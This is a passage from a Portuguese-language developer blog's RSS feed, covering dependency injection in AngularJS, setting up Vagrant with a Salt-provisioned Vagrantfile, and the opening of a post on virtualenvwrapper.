o nome pode até causar certo calafrio... &lt;em&gt;Don&apos;t panic&lt;/em&gt;! Segundo a documentação da &lt;em&gt;AngularJS&lt;/em&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Dependency Injection (DI) is a software design pattern that deals with how components
get hold of their dependencies.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Ou seja, ao invés de permitir que o seu componente de &lt;em&gt;software&lt;/em&gt; manuseie dependências,
você explicitamente passará as dependências que ele necessita.&lt;/p&gt;
&lt;p&gt;No &lt;em&gt;Stackoverflow&lt;/em&gt; temos o
&lt;a href=&quot;http://stackoverflow.com/questions/130794/what-is-dependency-injection&quot; title=&quot;What&amp;#x27;s dependency injection?&quot;&gt;melhor exemplo da face da terra&lt;/a&gt;
para ilustrar uma injeção de dependência. Abaixo um código sem o &lt;em&gt;DI&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;java&quot;&gt;&lt;pre class=&quot;language-java&quot;&gt;&lt;code class=&quot;language-java&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;SomeClass&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    myObject &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Factory&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getObject&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Agora, com &lt;em&gt;DI&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;java&quot;&gt;&lt;pre class=&quot;language-java&quot;&gt;&lt;code class=&quot;language-java&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;SomeClass&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;MyClass&lt;/span&gt; myObject&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;myObject &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; myObject&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Simples, não?! As dependências do seu componente ficam explícitas, fáceis de gerenciar, e
seu código fica mais fácil de manter.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 600px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/5bbe84ebf276f7accfae7f1fe6271c2e/b4294/dependency-injection-hulk.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 55.729166666666664%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAQFA//EABUBAQEAAAAAAAAAAAAAAAAAAAIA/9oADAMBAAIQAxAAAAFYX2FVIYx//8QAGBAAAwEBAAAAAAAAAAAAAAAAAgMxMgD/2gAIAQEAAQUC5mkOAFwSyd//xAAXEQEAAwAAAAAAAAAAAAAAAAABAhAR/9oACAEDAQE/ASOFf//EABURAQEAAAAAAAAAAAAAAAAAAAAR/9oACAECAQE/Aar/xAAWEAEBAQAAAAAAAAAAAAAAAAAQEQL/2gAIAQEABj8CJq0yf//EABwQAQACAgMBAAAAAAAAAAAAAAEAESFBMVFxwf/aAAgBAQABPyGqzq4BVemIDqbFReDr7Hn3USCl47n/2gAMAwEAAgADAAAAEBTf/8QAFhEBAQEAAAAAAAAAAAAAAAAAAAER/9oACAEDAQE/ENhI/8QAFhEBAQEAAAAAAAAAAAAAAAAAARAh/9oACAECAQE/EHRH/8QAGhABAAIDAQAAAAAAAAAAAAAAAQARITFBsf/aAAgBAQABPxAIFoL7UaVdKZ1cN8KoaRAHRd8eRM7Kq9cQeMVaFP/Z&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Injenções podem te dar super poderes... Ou não. (hanhchampion.blogspot.com.br)&amp;quot;&quot;
        title=&quot;Injenções podem te dar super poderes... Ou não. (hanhchampion.blogspot.com.br)&quot;
        src=&quot;/static/5bbe84ebf276f7accfae7f1fe6271c2e/b4294/dependency-injection-hulk.jpg&quot;
        srcset=&quot;/static/5bbe84ebf276f7accfae7f1fe6271c2e/7809d/dependency-injection-hulk.jpg 192w,
/static/5bbe84ebf276f7accfae7f1fe6271c2e/4ecad/dependency-injection-hulk.jpg 384w,
/static/5bbe84ebf276f7accfae7f1fe6271c2e/b4294/dependency-injection-hulk.jpg 600w&quot;
        sizes=&quot;(max-width: 600px) 100vw, 600px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Injenções podem te dar super poderes... Ou não. (hanhchampion.blogspot.com.br)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;A &lt;em&gt;Angular&lt;/em&gt; utiliza esse conceito para que seja possível passar para o seu &lt;em&gt;controller&lt;/em&gt;,
uma série de &lt;em&gt;services&lt;/em&gt; necessários para a resolução de um problema:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; myApp &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; angular&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;module&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;myApp&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

myApp&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;controller&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;mainController&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
  &lt;span class=&quot;token string&quot;&gt;&quot;$scope&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token string&quot;&gt;&quot;$log&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;$scope&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; $log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    $scope&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;foo &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;bar&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    $log&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;$scope&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;foo&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Imagine o trabalhão que seria em todo &lt;em&gt;controller&lt;/em&gt; ter que instanciar o
serviço de &lt;code class=&quot;language-text&quot;&gt;$scope&lt;/code&gt; ou de &lt;code class=&quot;language-text&quot;&gt;$log&lt;/code&gt;?&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Testar um código&lt;/strong&gt; que utiliza &lt;em&gt;Dependency Injection&lt;/em&gt; é &lt;strong&gt;muito mais fácil&lt;/strong&gt;, pois
&lt;a href=&quot;/2015/06/29/os-testes-e-os-dubles-parte-2.html&quot; title=&quot;Os testes e os dublês - Parte 2&quot;&gt;&lt;em&gt;mockar&lt;/em&gt;&lt;/a&gt;
as dependências e garantir o comportamente esperado pode ser feito com muito menos linhas de código.&lt;/p&gt;
&lt;p&gt;Além disso, se o contrato de uma dependência mudar, com essa prática fica mais fácil de
alterar o seu código, fazendo com que a integração entre componentes seja mais &lt;em&gt;smooth&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Se você ainda duvida desse &lt;em&gt;design pattern&lt;/em&gt;, fica a constatação: É fácil
assegurar que a &lt;em&gt;AngularJS&lt;/em&gt; não seria o &lt;em&gt;framework&lt;/em&gt; que é hoje, sem o uso dessa prática.&lt;/p&gt;
&lt;p&gt;Até a próxima.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;&lt;a href=&quot;https://docs.angularjs.org/guide/di&quot; title=&quot;Leia mais na documentação da Angular&quot;&gt;AngularJS Developer Guide - Dependency Injection&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;&lt;a href=&quot;http://stackoverflow.com/questions/130794/what-is-dependency-injection&quot; title=&quot;Leia mais no Stackoverflow&quot;&gt;Stackoverflow - What&apos;s dependency injection&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Esse é mais um post sobre Vagrant]]></title><description><![CDATA[Sim! Esse é mais um post sobre Vagrant, entre tantos outros espalhados pela
web. Sim! Se você já conhece a ferramenta,
provavelmente não…]]></description><link>https://klauslaube.com.br/2015/10/03/esse-e-mais-um-post-sobre-vagrant.html</link><guid isPermaLink="false">https://klauslaube.com.br/2015/10/03/esse-e-mais-um-post-sobre-vagrant.html</guid><pubDate>Sat, 03 Oct 2015 14:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Sim! Esse é mais um &lt;em&gt;post&lt;/em&gt; sobre &lt;em&gt;Vagrant&lt;/em&gt;, entre tantos outros espalhados pela
&lt;a href=&quot;/tag/desenvolvimento-web.html&quot; title=&quot;Leia mais sobre Web&quot;&gt;&lt;em&gt;web&lt;/em&gt;&lt;/a&gt;. Sim! Se você já conhece a ferramenta,
provavelmente não terá nada de novo para você nesse artigo.&lt;/p&gt;
&lt;p&gt;Já falamos um pouco sobre &lt;a href=&quot;/tag/virtualizacao.html&quot; title=&quot;Leia mais sobre Virtualização&quot;&gt;ambientes virtuais&lt;/a&gt;,
e as vantagens são numerosas. A &quot;atomicidade&quot; de poder construir e destruir um
ambiente inteiro, sem acarretar efeitos colaterais ao seu ambiente de trabalho,
traz agilidade sem perder segurança e sanidade.&lt;/p&gt;
&lt;p&gt;Sem dúvida o que levou &quot;virtualização&quot; de um &lt;em&gt;buzzword&lt;/em&gt; para uma necessidade
real na vida dos profissionais foi a diminuição do &lt;em&gt;overhead&lt;/em&gt; na criação de
ambientes virtuais. Hoje, uma porção de ferramentas é capaz de realizar essa
operação de maneira muito fácil.&lt;/p&gt;
&lt;p&gt;Entre essas ferramentas está o &lt;em&gt;Vagrant&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Quanto mais perto de produção, melhor&lt;/h2&gt;
&lt;p&gt;Por quê? Por que usar &lt;em&gt;Vagrant&lt;/em&gt;? Por que adicionar essa complexidade na minha
&lt;em&gt;stack&lt;/em&gt; de desenvolvimento?&lt;/p&gt;
&lt;p&gt;Quem utiliza &lt;a href=&quot;/2011/03/07/diferentes-ambientes.html&quot;&gt;mais de um ambiente&lt;/a&gt;
(como &lt;em&gt;dev&lt;/em&gt;, &lt;em&gt;qa&lt;/em&gt;, &lt;em&gt;staging&lt;/em&gt;, etc) defende que
eles servem como &quot;peneiras&quot; para pegarmos eventuais &lt;em&gt;bugs&lt;/em&gt; e problemas de
integração de código.&lt;/p&gt;
&lt;p&gt;Você já deve ter se deparado com o famoso problema &quot;works on my machine&quot;:
Instalou aquela dependência que resolve a sua vida, mas quando sobe para algum
ambiente ela simplesmente não funciona.&lt;/p&gt;
&lt;p&gt;Ter um ambiente muito próximo de produção disponível para você em tempo de
desenvolvimento pode ser uma excelente ideia para economizar tempo, otimizar
processos, e lhe dar segurança para fazer aquela subida de código em plena
sexta-feira.&lt;/p&gt;
&lt;h2&gt;Vagrant FTW&lt;/h2&gt;
&lt;p&gt;Segundo o &lt;a href=&quot;https://en.wikipedia.org/wiki/Vagrant_%28software%29&quot; title=&quot;Leia sobre Vagrant&quot;&gt;&lt;em&gt;Wikipedia&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Vagrant is computer software that creates and configures virtual development environments. It can be seen as a higher-level wrapper around virtualization software such as VirtualBox, VMware, KVM and Linux Containers (LXC), and around configuration management software such as Ansible, Chef, Salt, and Puppet.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;É isso mesmo o que você leu! O &lt;em&gt;Vagrant&lt;/em&gt; é uma ferramenta que serve como uma
&quot;cola&quot; entre a sua máquina &lt;em&gt;VirtualBox&lt;/em&gt; e o seu provisionamento por &lt;em&gt;Puppet&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Nesse &lt;em&gt;blog&lt;/em&gt;, eu uso o &lt;em&gt;Vagrant&lt;/em&gt; para simular o meu ambiente de produção da
&lt;em&gt;Digital Ocean&lt;/em&gt;, composto por uma máquina &lt;em&gt;Ubuntu Linux&lt;/em&gt; com &lt;a href=&quot;/tag/nginx.html&quot; title=&quot;Leia mais sobre NGINX&quot;&gt;&lt;em&gt;Nginx&lt;/em&gt;&lt;/a&gt;,
provisionada através de &lt;em&gt;Salt Stack&lt;/em&gt;. O meu &lt;code class=&quot;language-text&quot;&gt;Vagrantfile&lt;/code&gt; ficou &lt;a href=&quot;https://raw.githubusercontent.com/kplaube/blog/master/Vagrantfile&quot; title=&quot;Veja no GitHub&quot;&gt;assim&lt;/a&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;ruby&quot;&gt;&lt;pre class=&quot;language-ruby&quot;&gt;&lt;code class=&quot;language-ruby&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Vagrantfile API/syntax version. Don&apos;t touch unless you know what you&apos;re doing!&lt;/span&gt;
&lt;span class=&quot;token constant&quot;&gt;VAGRANTFILE_API_VERSION&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;2&quot;&lt;/span&gt;

&lt;span class=&quot;token constant&quot;&gt;Vagrant&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;configure&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;VAGRANTFILE_API_VERSION&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt;config&lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt;
  config&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;vm&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;box &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;ubuntu1210-64&quot;&lt;/span&gt;
  config&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;vm&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;box_url &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;https://github.com/downloads/roderik/VagrantQuantal64Box/quantal64.box&quot;&lt;/span&gt;

  config&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;vm&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;network &lt;span class=&quot;token symbol&quot;&gt;:forwarded_port&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; guest&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; host&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;8080&lt;/span&gt;
  config&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;vm&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;synced_folder &lt;span class=&quot;token string&quot;&gt;&quot;salt/roots/&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;/srv/salt/&quot;&lt;/span&gt;

  config&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;vm&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;provision &lt;span class=&quot;token symbol&quot;&gt;:salt&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt;salt&lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt;

    salt&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;minion_config &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;salt/minion&quot;&lt;/span&gt;
    salt&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;run_highstate &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;
    salt&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;verbose &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;end&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;end&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Quer entender o que está acontecendo no exemplo acima? A documentação de &lt;a href=&quot;https://docs.vagrantup.com/v2/getting-started/index.html&quot; title=&quot;Leia a documentação do Vagrant&quot;&gt;&lt;em&gt;Getting started&lt;/em&gt; do &lt;em&gt;Vagrant&lt;/em&gt;&lt;/a&gt;
é uma excelente dica para começar. Engloba desde a instalação até o provisionamento.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 600px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/7010f93865b5b510f43f79b126ff8a6c/b4294/the-vagrant.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 66.66666666666666%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAANABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAMBAgX/xAAVAQEBAAAAAAAAAAAAAAAAAAACA//aAAwDAQACEAMQAAAByqQ0tACn/8QAGxAAAgEFAAAAAAAAAAAAAAAAAAERAgMQMUH/2gAIAQEAAQUCtuDhTtucf//EABYRAAMAAAAAAAAAAAAAAAAAAAEQMf/aAAgBAwEBPwERf//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQIBAT8BP//EABkQAAIDAQAAAAAAAAAAAAAAAAEQABEhMf/aAAgBAQAGPwI7U4g//8QAGxAAAwACAwAAAAAAAAAAAAAAAAERITFBYZH/2gAIAQEAAT8hiRwa9Igpkrskzs5P/9oADAMBAAIAAwAAABBLH//EABYRAQEBAAAAAAAAAAAAAAAAAAABMf/aAAgBAwEBPxCS6//EABYRAAMAAAAAAAAAAAAAAAAAAAEQMf/aAAgBAgEBPxA1f//EAB0QAQACAgIDAAAAAAAAAAAAAAEAESExQVFxgaH/2gAIAQEAAT8QHdIFXolfYgHry1mWhFNOUQHQufUXLzP/2Q==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Não é desse Vagrant que estamos falando... (deathsdoormatt.com)&amp;quot;&quot;
        title=&quot;Não é desse Vagrant que estamos falando... (deathsdoormatt.com)&quot;
        src=&quot;/static/7010f93865b5b510f43f79b126ff8a6c/b4294/the-vagrant.jpg&quot;
        srcset=&quot;/static/7010f93865b5b510f43f79b126ff8a6c/7809d/the-vagrant.jpg 192w,
/static/7010f93865b5b510f43f79b126ff8a6c/4ecad/the-vagrant.jpg 384w,
/static/7010f93865b5b510f43f79b126ff8a6c/b4294/the-vagrant.jpg 600w&quot;
        sizes=&quot;(max-width: 600px) 100vw, 600px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Não é desse Vagrant que estamos falando... (deathsdoormatt.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;O &lt;a href=&quot;http://saltstack.com/&quot; title=&quot;Conheça o SaltStack&quot;&gt;&lt;em&gt;Salt Stack&lt;/em&gt;&lt;/a&gt; é uma excelente
ferramenta de provisionamento escrita em &lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt;. Vale muito a pena conhecer.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Além da vantagem de ter um ambiente próximo de produção disponível para você em
tempo de desenvolvimento, com o &lt;em&gt;Vagrant&lt;/em&gt; temos uma segunda vantagem: Quando um
novo integrante fazer parte do seu time, basta ele clonar o projeto e dar
um &lt;code class=&quot;language-text&quot;&gt;vagrant up&lt;/code&gt;. Pronto! O ambiente levanta-se em uma máquina virtual, e é
provisionado sem necessidade de intervenção humana.&lt;/p&gt;
&lt;p&gt;Existem toneladas de artigos na &lt;em&gt;Web&lt;/em&gt; sobre o &lt;em&gt;Vagrant&lt;/em&gt;. O &lt;a href=&quot;http://simplesideias.com.br/usando-o-vagrant-como-ambiente-de-desenvolvimento-no-windows&quot; title=&quot;Leia o artigo no SimplesIdeias&quot;&gt;Usando o Vagrant como ambiente de desenvolvimento no Windows&lt;/a&gt;, do &lt;strong&gt;Simples Ideias&lt;/strong&gt; e &lt;a href=&quot;http://flaviosilveira.com/2012/vagrant-facil-e-util/&quot; title=&quot;Leia no blog do Flavio&quot;&gt;Vagrant: Fácil E útil&lt;/a&gt; do &lt;strong&gt;Flávio Silveira&lt;/strong&gt; são duas boas referências para quem está iniciando.&lt;/p&gt;
&lt;p&gt;Nos próximos &lt;em&gt;posts&lt;/em&gt; pretendo dar uma pincelada no &lt;em&gt;Salt Stack&lt;/em&gt; e &lt;em&gt;Ansible&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Até a próxima.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;&lt;a href=&quot;http://saltstack.com/&quot; title=&quot;Conheça o Salt Stack&quot;&gt;SaltStack - Automation for CloudOps&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;&lt;a href=&quot;https://www.vagrantup.com/&quot; title=&quot;Conheça o Vagrant&quot;&gt;Vagrant - Development environments made easy&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Vagrant_%28software%29&quot; title=&quot;Leia mais no Wikipedia&quot;&gt;&lt;em&gt;Wikipedia - Vagrant (software)&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Virtualenvwrapper: O básico para um bom ambiente de desenvolvimento Python]]></title><description><![CDATA[Já falamos sobre o virtualenv há muito tempo atrás, aqui no blog. Tirando alguns
detalhes técnicos, a bem da verdade é que de lá para cá…]]></description><link>https://klauslaube.com.br/2015/07/23/virtualenvwrapper-o-basico-para-um-bom-ambiente-de-desenvolvimento-python.html</link><guid isPermaLink="false">https://klauslaube.com.br/2015/07/23/virtualenvwrapper-o-basico-para-um-bom-ambiente-de-desenvolvimento-python.html</guid><pubDate>Thu, 23 Jul 2015 12:30:00 GMT</pubDate><content:encoded>&lt;p&gt;Já falamos sobre o &lt;a href=&quot;/tag/virtualenv.html&quot; title=&quot;Leia mais sobre Virtualenv&quot;&gt;virtualenv&lt;/a&gt; há muito tempo atrás, aqui no &lt;em&gt;blog&lt;/em&gt;. Tirando alguns
detalhes técnicos, a bem da verdade é que de lá para cá, pouca coisa
mudou.&lt;/p&gt;
&lt;p&gt;Apesar do seu uso ser completamente trivial, ter &lt;em&gt;virtualenvs&lt;/em&gt;
espalhados pelo seu disco rígido pode ser chato de gerenciar. Que
tal uma forma simples e centralizada de manipular os seus ambientes &lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt;?&lt;/p&gt;
&lt;p&gt;É aí que entra a
&lt;a href=&quot;https://virtualenvwrapper.readthedocs.org/en/latest/&quot; title=&quot;Conheça a virtualenvwrapper&quot;&gt;&lt;em&gt;virtualenvwrapper&lt;/em&gt;&lt;/a&gt;!&lt;/p&gt;
&lt;h2&gt;virtualenv + virtualenvwrapper == Win&lt;/h2&gt;
&lt;p&gt;O &lt;em&gt;virtualenvwrapper&lt;/em&gt;, como o seu nome sugere, é um &lt;em&gt;wrapper&lt;/em&gt; para o &lt;em&gt;virtualenv&lt;/em&gt;, adicionando algumas funcionalidades para facilitar a vida dos Pythonistas.&lt;/p&gt;
&lt;p&gt;Uma ferramenta simples, porém maravilhosa, que engloba as seguintes &lt;em&gt;features&lt;/em&gt;:&lt;/p&gt;
&lt;ul&gt;
